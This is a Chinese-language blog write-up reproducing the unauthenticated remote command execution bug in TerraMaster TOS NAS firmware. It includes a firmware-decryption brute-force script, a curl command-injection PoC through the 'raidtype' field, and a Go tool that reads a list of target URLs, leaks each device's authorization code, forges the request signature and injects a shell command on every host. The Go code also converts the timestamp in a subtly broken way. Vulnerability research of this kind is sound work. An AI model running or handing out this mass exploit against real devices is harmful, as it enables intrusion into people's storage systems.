1.漏洞信息
2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。
2.漏洞复现
2.1 源码的获取
官网目前已经无老版本的固件下载连接,需要到论坛获取下载连接
漏洞版本下载连接:https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins
需要解压,binwalk解压后
打开源码发现,文件是加密的
去看看有没有别人破解的
看了下大佬文章发现,是基于screw_aes项目改的
https://github.com/del-xiong/screw-plus 下载查看一下是在原有的基础上加了异或,但是不知道异或的数是多少,因为proc文件为空,尝试爆破这个异或的数值进行解密
解密脚本 记得改screw路径 和 解密目标文件
import os
def getAllSub(path, dirlist=[], filelist=[]):
flist = os.listdir(path)
for filename in flist:
subpath = os.path.join(path, filename)
if os.path.isdir(subpath):
dirlist.append(subpath) # 如果是文件夹,添加到文件夹列表中
getAllSub(subpath, dirlist, filelist) # 向子文件内递归
if os.path.isfile(subpath):
filelist.append(subpath) # 如果是文件,添加到文件列表中
return dirlist, filelist
def getSufFilePath(fileList, suffix):
# print(len(fileList))
for ff in fileList[:]: # 这种写法可以避免循环判断删除时跳过一些项
if not ff.endswith(suffix):
fileList.remove(ff)
def ecryption(filename):
head, tail = os.path.split(filename)
filename2 = tail.split(".")[0]
path = head + "/" + filename2 + "_decryption" + '.php'
i = 0
while(i < 256):
with open(filename, 'rb') as f:
debug_cipher = f.read()
with open(path, 'wb') as o:
o.write(debug_cipher[:32])
for j in debug_cipher[32:]:
o.write((i ^ j).to_bytes(1, 'big'))
f.close()
o.close()
os.system('/root/桌面/screw-plus-master/tools/screw ' + path + ' -d')
with open(path, 'rb') as p:
if p.read(5) == b'<?php':
print(i)
p.close()
break
else:
i = i + 1
if __name__ == "__main__":
path = r'/root/桌面/TOS4.2.31/TOS4.2.31/FILES/usr/www/'
Dirlist, Filelist = getAllSub(path)
getSufFilePath(Filelist, '.php')
for FilePhp in Filelist:
# print(FilePhp)
ecryption(FilePhp)
解密结果是目标文件后加_decryption的php文件
2.2 漏洞分析
查看poc
curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r
出现问题的是api.php
查看该文件
<?php
/**
* Created by PhpStorm.
* User: Jaylin
* Date: 2017/2/28
* Time: 14:19
*/
include_once "../include/app.php";
include_once "../include/function/mobile.php";
#关闭所有函数报错...
@error_reporting(0);
$default_controller = "mobile";
$default_action = "index";
$in = router();
$URI = $in['URLremote'];
if (!isset($URI[0]) || $URI[0] == '') $URI[0] = $default_controller;
if (!isset($URI[1]) || $URI[1] == '') $URI[1] = $default_action;
define('Module', $URI[0]);
define('Action', $URI[1]);
$class = Module;
$function = Action;
#定义不需要验证登录的方法...
$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");
if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) {
define('REQUEST_MODE', 1);
//加载原始session
if (isset($in['PHPSESSID']) && !empty($in['PHPSESSID'])) {
session_id($in['PHPSESSID']);
$GLOBALS['sessionid'] = $in['PHPSESSID'];
}
@session_start();
@session_write_close();
//初始化阵列
$raid = new raid();
$base_md = $raid->_main_disk();
if (!empty($base_md)) {
define('DATA_BASE', "$base_md/");
} else {
define('DATA_BASE', null);
}
define('USER_PATH', DATA_BASE . "User/"); //用户目录
define('PUBLIC_PATH', DATA_BASE . "public/"); //公共目录
define('DATA_THUMB', DATA_BASE . '@system/thumb/');//缩略图生成存放
} else {
define('REQUEST_MODE', 0);
}
$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
#防止请求重放验证...
if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
$instance->output("Illegal request, timeout!", 0);
}
}
$instance->$function();
function stripslashes_deep($value){
$value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null);
return $value;
}
继续看api.php
首先看NO_LOGIN_CHECK 主要在判断是否需要登录判断
先看一下不需要登录的指定方法发现都在www\include\class\mobile_decryption.php这个文件的类中
mobile_decryption.php
先看下他的构造方法
//不检查是否登录..
static $notCheck = [
"webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
];
//不验证头信息是否匹配...
static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];
private static $U = null;
private static $filter = array(".", "..", ".svn", "lost+found", "aquota.group", "aquota.user");
function __construct()
{
parent::__construct();
$this->start = $this->mtime();
if (isset($_SERVER['HTTP_USER_DEVICE']) && $_SERVER['HTTP_USER_DEVICE'] == "TNAS") $_SERVER['HTTP_USER_AGENT'] = "TNAS";
//排除非法请求...
if (!in_array(Action, self::$notHeader)) {
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
$this->output("Illegal request, please use genuine software!", false);
}
}
if (REQUEST_MODE) {
if (DATA_BASE == null) {
$this->output("main raid not exists", false);
}
//避免session不可写导致循环跳转
if (!isset($_SESSION)) {
$this->output("session write error!", false);
} else {
$this->user = &$_SESSION['kod_user'];
}
if (isset($this->in['PHPSESSID'])) {
$this->sessionid = $this->in['PHPSESSID'];
}
#管理员接口
if (in_array(Action, $this->noPermission)) {
if ($this->user['role'] != "root") {
$this->output("User [{$this->user['name']}] does not have permission!", false);
}
}
}
if (!in_array(Action, self::$notCheck)) {
if (!$this->loginCheck()) {
$this->output("login is timeout", 0);
}
}
//初始化
if (self::$U == null) self::$U = new person();
if (self::$U->deamon()) {
$this->output("user hasn't permission!", true, 0);
}
}
所以这个$this->REQUESTCODE暂时没法去绕过
继续往下看
目前还只能调用这两个数组中的指定方法,才能绕过指定的检测
$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");
static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];
notcheck数组
static $notCheck = [
"webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
];
所以到此简单梳理一下
不在这个两个数组内需登录相关的验证
$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);
static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];
不在这个数组内的需要下面两个的检测
static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];
tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
那么在均在三个数组内的发现只有下面个方法
webNasIPS isConnected
发现只能获取一些时间webNasIPS failed了进指定方法查看一下
因为我们获得了$this->REQUESTCODE所以可以绕过
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
还需要然后下面的才能使用其他的非notHeader 的方法
static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];
tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)
主要这个tos_encrypt_str搜索并没有发现 时间上面我们已经可以可以获得了
应该在php自定义拓展里面搜索定位一下
跟踪get_mac_addr
因为mac地址webips可以知道,所以也可以进行绕过
tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’] - $_SERVER[‘HTTP_TIMESTAMP’] > 300)
所以我们可以使用下面两个数组中共有的方法了,因为还有登录判断,只能找两个数组中公共的
$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);
static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];
有一下方法
webNasIPS getDiskList getInstallStat getIsConfigAdmin setAdminConfig isConnected createRaid
一个一个看
至此,完成了命令执行
梳理一下,通过webNasIPS可以获取$this->REQUESTCODE mac地址 系统时间
可以用于绕过
tos_encrypt_str $this->REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]
便可以用其他方法,在createRaid方法发现$this->in[‘raidtype’]可控且传入了popen命令函数中
造成了命令执行
2.3 编写poc脚本
package main
import (
"bufio"
"crypto/md5"
"flag"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
"time"
)
func main() {
var url string;
var pathfile string;
flag.StringVar(&url, "u", "", "指定检测的目标的url")
flag.StringVar(&pathfile,"f","","指定检测的目标的u文件路径")
flag.Parse()
if url != "" {
poc_getinfo(url)
}
if pathfile != "" {
fi, err := os.Open(pathfile)
if err != nil {
fmt.Printf("Error: %s\n", err)
return
}
defer fi.Close()
br := bufio.NewReader(fi)
for {
a, _, c := br.ReadLine()
if c == io.EOF {
break
}
url = strings.TrimSpace(string(a))
poc_getinfo(url)
}
}
if url == "" && pathfile == ""{
fmt.Printf("-h 查看命令")
}
}
func poc_getinfo(Url string) {
var targetUrl string
if strings.HasSuffix(Url, "/") {
targetUrl = Url + "module/api.php?mobile/webNasIPS"
} else {
targetUrl = Url + "/module/api.php?mobile/webNasIPS"
}
//提交请求
reqest, err := http.NewRequest("GET", targetUrl, nil)
//增加header选项
reqest.Header.Add("User-Agent", "TNAS")
//处理返回结果
cli := http.Client{ Timeout: 10*time.Second }
response, err := cli.Do(reqest)
if err != nil {
fmt.Printf(targetUrl + "访问错误\n")
}else {
body,err := ioutil.ReadAll(response.Body)
if err == nil{
if strings.Contains(string(body),"webNasIPS successful"){
fmt.Printf(targetUrl + "存在信息泄露\n")
poc_execute(string(body),Url)
}else {
fmt.Printf(targetUrl + "不存在信息泄露\n")
}
}
defer response.Body.Close()
}
}
func poc_execute(req string,targetUrl string) {
r := regexp.MustCompile(`"mac\\":\\"(.*?)\\"`)
f := regexp.MustCompile(`PWD:(.*?)\\`)
timestamp := string(time.Now().Unix())
mac := r.FindStringSubmatch(req)
macString := strings.Replace(mac[1], ":","",-1)
macString = string([]rune(macString)[len([]rune(macString))-6:])
authorization := f.FindStringSubmatch(req)
data := []byte(macString + timestamp)
has := md5.Sum(data)
signature := fmt.Sprintf("%x", has)
fmt.Println(authorization[1] + "\n" + signature)
url:= targetUrl + "/module/api.php?mobile/createRaid"
request, _ := http.NewRequest("POST", url, strings.NewReader("raidtype=;echo \"<?php phpinfo();?>\">phpinfo.php&diskstring=XXXX"))
request.Header.Set("Authorization", authorization[1])
request.Header.Set("Signature", signature)
request.Header.Set("Timestamp", timestamp)
request.Header.Set("User-Agent", "TNAS")
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{}
resp, _ := client.Do(request)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body),"successful"){
fmt.Printf(targetUrl + "存在命令执行:" + targetUrl + "/module/phpinfo.php\n")
}else {
fmt.Printf(targetUrl + "不存在命令执行\n")
}
}
3.最后
想看下4.2.32关于这个漏洞的修复,看不懂新的php_terra_master.so加密方式,没法继续看了
本人水平有限,如有错误还请大佬指点!
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担